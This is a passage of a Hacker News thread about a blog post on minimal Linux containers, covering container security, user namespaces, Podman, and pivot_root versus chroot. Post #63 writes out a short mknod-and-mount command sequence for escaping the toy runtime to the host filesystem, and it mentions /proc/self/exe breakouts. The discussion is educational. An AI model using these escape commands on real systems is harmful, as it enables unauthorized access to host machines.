Live data from Hacker News

Linux containers in a few lines of code

zserge.com

61–70 of 87 posts

Re: Linux containers in a few lines of code

#61

Could someone comment on how secure such a container is, at least nominally? Should I be able to theoretically run untrusted code on such a container if the system is bug-free and I add proper error-checking to the code? Or are there things that you'd need to worry about the code being able to access? Any considerations regarding sudo permissions?

The container process has still full access to /dev, /sys, all capabilities of root, and the ability to insmod.

Re: Linux containers in a few lines of code

#62
post #61

Could someone comment on how secure such a container is, at least nominally? Should I be able to theoretically run untrusted code on such a container if the system is bug-free and I add proper error-checking to the code? Or are there things that you'd need to worry about the code being able to access? Any considerations regarding sudo permissions?

The container process has still full access to /dev, /sys, all capabilities of root, and the ability to insmod.

I didn't notice that, thanks! Although I imagine they can't do much with /dev etc. unless they get sudo.

Re: Linux containers in a few lines of code

#63

Could someone comment on how secure such a container is, at least nominally? Should I be able to theoretically run untrusted code on such a container if the system is bug-free and I add proper error-checking to the code? Or are there things that you'd need to worry about the code being able to access? Any considerations regarding sudo permissions?

Definitely not secure. The author did a great job explaining container runtimes in basic terms, but there's a lot of security features missing. Mainly: * Reducing the container's capabilities * Restricting access to resources through cgroups * Applying seccomp filters to prevent certain syscalls.

As another comment suggested, user namespaces are another hardening feature, but not all container runtimes enable it by default. Podman does, Docker doesn't. In fact user namespaces are so powerful that I believe they pretty much cover most of the hardening provided by the three features I listed above. If you're wondering why they're not enabled by default in Docker, take a look at this [1].

Exploiting the missing isolation mechanisms, the following bash commands will allow you to escape from the author's containers:

$ ls -al /sys/dev/block # find the root fs device (e.g. /dev/sda1) major and minor device numbers (e.g. {maj=8, min=1}, {maj=259, min=1})

$ mknod --mode 0600 /dev/host_fs_dev b $major $minor

$ mkdir /host_fs && mount /dev/host_fs_dev /host_fs

(warning: shameless plug to my posts follows:)

If you want more details, I wrote a post on this exact same problem in the context of three vulnerabilities I found in rkt (another container runtime) [2].

Beside the issues above, the author's runtime also exposes host file descriptors like /proc/self/exe that can be used to escape the container. This is a post I wrote on runC CVE-2019-5736 that explains this kind of issues.

[1] https://docs.docker.com/engine/security/userns-remap/#user-n... [2] https://unit42.paloaltonetworks.com/breaking-out-of-coresos-... [3] https://unit42.paloaltonetworks.com/breaking-docker-via-runc...

Re: Linux containers in a few lines of code

#64
post #63

Could someone comment on how secure such a container is, at least nominally? Should I be able to theoretically run untrusted code on such a container if the system is bug-free and I add proper error-checking to the code? Or are there things that you'd need to worry about the code being able to access? Any considerations regarding sudo permissions?

Definitely not secure. The author did a great job explaining container runtimes in basic terms, but there's a lot of security features missing. Mainly: * Reducing the container's capabilities * Restricting access to resources through cgroups * Applying seccomp filters to prevent certain syscalls. As another comment suggested, user namespaces are another hardening feature, but not all container runtimes enable it by d…

Wow thank you!!

Re: Linux containers in a few lines of code

#65
post #4

A little bit of education about container systems in linux[1]. A container system is typically made up a number of components: isolation layer : the piece that limits privileges and resource usage. (On linux, this is usually handled by cgroups and the kernel, but could also be handled by something like kvm for vm-based containers) raw container configuration : Given an image and some metadata (like cpu limits), launc…

> Container systems seem to have a relatively complex abstraction over what is a relatively simple architecture

Yep, it's really not rocket science.

I find that very useful and usable resource isolation (i.e. most of what I actually use containers for) can be achieved with processes + cgroups + chroot.

Unfortunately networking complicates things since DNS doesn't return ports, only IP addresses. A local DNS service that returned IP:port (and appropriate connection APIs at the application level) could eliminate much of the need for network namespaces. Putting services behind front-end gateways also works (indeed it's usually the model for web services.)

(Disclaimer: I actually do use network namespaces frequently and have fun doing so, but I tend to think that networking APIs are too low-level.)

Re: Linux containers in a few lines of code

#66

Earlier quoted context omitted.

Could not agree more. As a Fedora user I was mildly intrigued when Podman showed up, I played with it briefly but stopped because most of my projects used docker-compose, which doesn't work with Podman. When I went to work at Red Hat I decided to really try Podman, and I love it now. Once I discovered that Podman supports Kubernetes Pods (same YAML and all) I realized how clunky docker-compose actually is. Since most…

podman-compose works fine for me, despite being advertised as "still under development". https://github.com/containers/podman-compose

podman-compose works better than expected, however, it is NoT a "drop-in" replacement for docker-compose, at least now.

Re: Linux containers in a few lines of code

#67
post #61

Earlier quoted context omitted.

The container process has still full access to /dev, /sys, all capabilities of root, and the ability to insmod.

I didn't notice that, thanks! Although I imagine they can't do much with /dev etc. unless they get sudo.

Unless you're using user namespaces (which this doesn't) then root inside a container is equal to root outside the container. You don't even need access to /dev, because the container process could just mknod(2) any device and access it with full permissions.

This is only possible in this example because the container has the full capability set (including CAP_MKNOD) and the devices cgroup hasn't been configured to restrict device access. Real container runtimes always restrict device creation by default, and usually don't allow CAP_MKNOD by default.

Re: Linux containers in a few lines of code

#68
post #47

Earlier quoted context omitted.

I'm not sure if this is serious or a joke, but can you explain it further?

Given certain initial conditions, this statement moves the current process (and any process it subsequently creates) into a control group, which meets minimal definitions of containerization.

It really doesn't. I would say that "unshare -mpf ; pivot_root" matches the most minimal definition of a container more accurately than joining a cgroup (it's an isolated system which can't directly interact with the host).

Otherwise you'd have to argue that configuring rlimits actually makes your shell a container, which is too much of a stretch (for me at least).

Re: Linux containers in a few lines of code

#69

Anyone want to chime in on why pivot_root is preferable to a chroot jail? It's kind of hand-waved in the article.

This is mostly to do with the implementation of chroot(). Because it only applies to a single process (and mount tables are per mount namespace), it was implemented in such a way that directories above the root of the chroot are still technically accessible (the mounts above the root directory are still present in the mount hierarchy). This results in all sorts of fun bugs where if you chroot() inside a chroot() you can get out of the chroot() entirely. Container runtimes generally block CAP_SYS_CHROOT by default for this reason, but there are all sorts of other subtle security bugs which pop up because of this fundamental design choice.

pivot_root() doesn't suffer from this problem because it applies to the entire mount namespace, and thus its implementation could be made much safer. Instead of just changing the current process's filesystem root, the actual / mount of the mount namespace is swapped with another mountpoint on the system (and the old root is mounted elsewhere). Thus once the old root is unmounted there isn't a way to get back to the old mountpoints. This isn't perfect protection (magic-links and other mounts could expose the host filesystem) but it is a damn sight better than chroot(). Oh, and nesting pivot_root()s doesn't cause a breakout.

Note that this different behaviour in relation to mounts has resulted in completely unrelated security bugs with containers (such as being able to bypass procfs masks because chroot() doesn't hide the unmasked procfs in the host mount namespace). This is why us container runtime authors always tell people they should never use chroot() and always use pivot_root() -- though sadly sometimes chroot() is needed because pivot_root() doesn't work on initramfs.

(I'm one of the maintainers of runc, the runtime which underlies Docker/podman/containerd/cri-o/...)

Re: Linux containers in a few lines of code

#70

Anyone want to chime in on why pivot_root is preferable to a chroot jail? It's kind of hand-waved in the article.

pivot_root is supposed to switch the whole system to a new root. chroot applies to a process, but the underlying system keeps going with what it had.

This is true (though it's scoped per mount namespace), but it isn't the primary security reason container runtimes use pivot_root().
Post reply on HN